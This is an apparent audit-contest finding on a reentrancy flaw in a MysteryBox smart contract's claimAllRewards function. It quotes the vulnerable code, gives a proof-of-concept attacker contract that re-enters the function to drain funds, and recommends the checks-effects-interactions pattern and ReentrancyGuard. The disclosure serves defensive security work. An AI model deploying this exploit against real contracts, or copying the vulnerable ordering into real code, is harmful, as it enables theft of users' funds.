Mystery Box
First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Reentrancy Vulnerability in MysteryBox::claimAllRewards Allowing Fund Drain

fels21

Summary

The claimAllRewards function in the MysteryBox contract is vulnerable to a reentrancy attack. This vulnerability allows an attacker to repeatedly call the function and drain the contract's funds before the state is updated.

Vulnerability Details

The claimAllRewards function transfers funds to the caller using a low-level call within the same function before updating the contract's state. This allows an attacker to reenter the function and repeatedly claim rewards without the state being updated.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
​
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
​
delete rewardsOwned[msg.sender];
}

Proof of code

contract ReentrancyAttack is Test {
MysteryBox public mysteryBox;
address public attacker;
​
constructor(MysteryBox _mysteryBox) {
mysteryBox = _mysteryBox;
attacker = address(this);
}
​
// Function to simulate the reentrancy attack
receive() external payable {
if (address(mysteryBox).balance >= 1 ether) {
mysteryBox.claimAllRewards(); // Reentrancy occurs here
}
}
​
function attack() external payable {
// Assume that the attacker has rewards to claim
mysteryBox.claimAllRewards(); // First call to claim all rewards
}
}

The reentrancy occurs because the contract transfers the rewards via a low-level call before updating the state (i.e., deleting the rewards of the caller). As a result, an attacker can invoke the fallback function and reenter claimAllRewards before the state is updated.

Impact

An attacker can drain all the funds from the contract by reentering the claimAllRewards function multiple times. This leads to a total loss of all funds in the contract.

Tools Used

  • Manual code review

  • Forge test suite for simulating reentrancy

Recommendations

  1. Implement the Checks-Effects-Interactions (CEI) pattern by updating the contract's state before transferring any funds:

delete rewardsOwned[msg.sender];
(bool success, ) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");

  1. Use OpenZeppelin’s ReentrancyGuard and apply the nonReentrant modifier to the claimAllRewards function to prevent reentrant calls:

function claimAllRewards() public nonReentrant {
// logic here
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!